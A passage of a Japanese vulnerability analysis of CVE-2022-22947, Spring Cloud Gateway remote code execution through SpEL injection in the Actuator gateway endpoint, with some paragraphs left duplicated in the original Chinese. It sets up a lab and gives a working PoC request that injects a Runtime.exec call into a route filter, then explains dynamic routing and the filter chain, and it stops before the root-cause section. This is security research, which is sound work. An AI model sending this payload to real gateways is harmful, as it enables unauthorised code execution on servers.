
CVE-2022-22947の詳細な分析とエクスプロイト。Actuator APIにおけるSpELインジェクションを介したSpring Cloud Gatewayのリモートコード実行(RCE)脆弱性です。PoC、メモリシェルインジェクション、根本原因の分析を含みます。
Spring Cloud Gateway は、Spring Cloud の新しいプロジェクトであり、Spring 5.0、Spring Boot 2.0、Project Reactor などの技術に基づいて開発されたゲートウェイです。マイクロサービスアーキテクチャに、シンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 先日、Spring Cloud Gateway に致命的な RCE が発見されました。CVE CVE 情報によると、アプリケーションが Spring Cloud Gateway の Gateway Actuator endpoint を有効にして公開している場合、リモートコードインジェクション攻撃を受け、攻撃者が悪意のあるリクエストを送信することで任意のコードをリモートで実行できる可能性があります。現在影響を受けるバージョンは次のとおりです。
今回の分析では、この CVE を再現することで、脆弱性の原理とさらなる悪用方法を学びます。
以下の依存関係を使用して Maven プロジェクトを作成します。```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Spring Bootのデフォルト設定では、webに公開されているエンドポイントはhealthのみです。gatewayを公開する必要がある場合は、手動で設定する必要があります。[公式ドキュメント](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
以下のPOCを送信します:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

その後、```POST /actuator/gateway/refresh``` を送信してルートキャッシュの情報をリフレッシュすると、POCがトリガーされます:

## 原理の分析
上記のPOCを見ると、まず```POST /actuator/gateway/routes/test2``` によってルートを動的に追加しています。ルート追加の過程で、入力パラメータを処理するフィルタがその値をSpEL式として解析できるため、ルートキャッシュをリフレッシュしたときにPOCが実行されます。
まず、Spring Cloud Gatewayの動的ルート設定のメカニズムを見てみましょう。
### 動的ルート設定
Spring Cloud Gatewayはコード/設定ファイルによるルート登録をサポートしており、公式サイトの[demo](https://spring.io/guides/gs/gateway/) を例にすると:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
設定ファイルの方法はコードと同様です:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
这两种方式所添加的路由都是固定的,如果需要添加、修改、或者删除路由配置和规则,就必须重启应用才能生效。但是现实情况下,spring cloud gateway作为所有流量的入口,需要保证系统的高可用,因此spring cloud gateway暴露/gateway 这个endpoint之后就可以通过/gateway/routes来增删改动态路由信息,但是这种方式的路由信息只存在与内存中,一旦服务重启,新增的路由配置信息就丢失了。
これらの2つの方法で追加されたルートは固定されており、ルート設定やルールを追加・変更・削除するには、アプリケーションを再起動して初めて有効になります。しかし、実際には、spring cloud gatewayはすべてのトラフィックの入り口であるため、システムの高可用性を保証する必要があります。そのため、spring cloud gatewayが/gateway エンドポイントを公開すると、/gateway/routesを介して動的ルート情報を追加・削除・変更できます。ただし、この方法のルート情報はメモリ内にのみ存在し、サービスが再起動すると、追加されたルート設定情報は失われます。
从以上路由注册的格式可以发现,一个路由信息包括目标uri、filter集合以及predicates集合,其中predicates可以以来自http请求的任意内容(请求头、参数)进行请求匹配,spring cloud gateway内置的route predicate 工厂类有很多,如Before、After、Between、Cookie、Header、Host、[Path等](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) 。
上記のルート登録の形式からわかるように、1つのルート情報には、ターゲットURI、フィルターセット、述語(predicates)セットが含まれます。predicatesは、HTTPリクエストからの任意の内容(リクエストヘッダー、パラメータ)を使用してリクエストをマッチングできます。spring cloud gatewayには、Before、After、Between、Cookie、Header、Host、[Pathなど](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) のような組み込みのroute predicateファクトリクラスが多数あります。

filter用于请求发送之前或者之后修改请求或响应,同样包含很多内置filter集合,上面的触发RCE的payload中我们使用的filter是AddResponseHeader,其他filter有RewritePath、SetPath等,filter有两种,一种是对所有路由都有效的GlobalFilter,另一种是仅对单个路由有效的GatewayFilter,详情可以参考https://www.cnblogs.com/duanxz/p/14780675.html。
filterは、リクエスト送信前または送信後にリクエストやレスポンスを変更するために使用され、同様に多くの組み込みフィルターセットが含まれています。上記のRCEをトリガーするペイロードでは、AddResponseHeaderフィルターを使用しました。他のフィルターにはRewritePath、SetPathなどがあります。フィルターには2種類あり、1つはすべてのルートに有効なGlobalFilter、もう1つは単一のルートにのみ有効なGatewayFilterです。詳細は https://www.cnblogs.com/duanxz/p/14780675.html を参照してください。
,
## 请求流程
## リクエストフロー
那么,一个请求过来之后经过gateway到后端的proxied service的具体流程是什么样的呢? 官方文档中的流程如下:
では、リクエストが来てからgatewayを経由してバックエンドのproxied serviceに到達するまでの具体的なフローはどのようなものでしょうか? 公式ドキュメントのフローは次のとおりです。

客户端向Spring Cloud GateWay发出请求,然后在GateWay Handler Mapping中找到与请求相匹配的路由,将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(pre)或者之后(post)执行业务逻辑。
クライアントはSpring Cloud GateWayにリクエストを送信し、GateWay Handler Mappingでリクエストに一致するルートを見つけ、それをGateWay Web Handlerに送信します。Handlerは指定されたフィルターチェーンを通じてリクエストを実際のサービスに送信してビジネスロジックを実行し、結果を返します。フィルター間が点線で区切られているのは、フィルターがプロキシリクエストの送信前(pre)または送信後(post)にビジネスロジックを実行する可能性があるためです。
RoutePredicateHandlerMapping 查找路由然后由webHandler进行处理:
RoutePredicateHandlerMapping がルートを検索し、その後 webHandler が処理します:

在webHandler中找出gatewayFilters以及globalFilters后按照filter中定义的Order值进行排序后形成filterchain,并执行所有的filter。
webHandler内でgatewayFiltersとglobalFiltersを特定した後、filterで定義されたOrder値に従ってソートしてfilterchainを形成し、すべてのfilterを実行します。

### 动态路由注册
### 動的ルート登録
接下来具体的看一下通过gateway endpoint方式添加路由的时候为什么会触发了spel执行。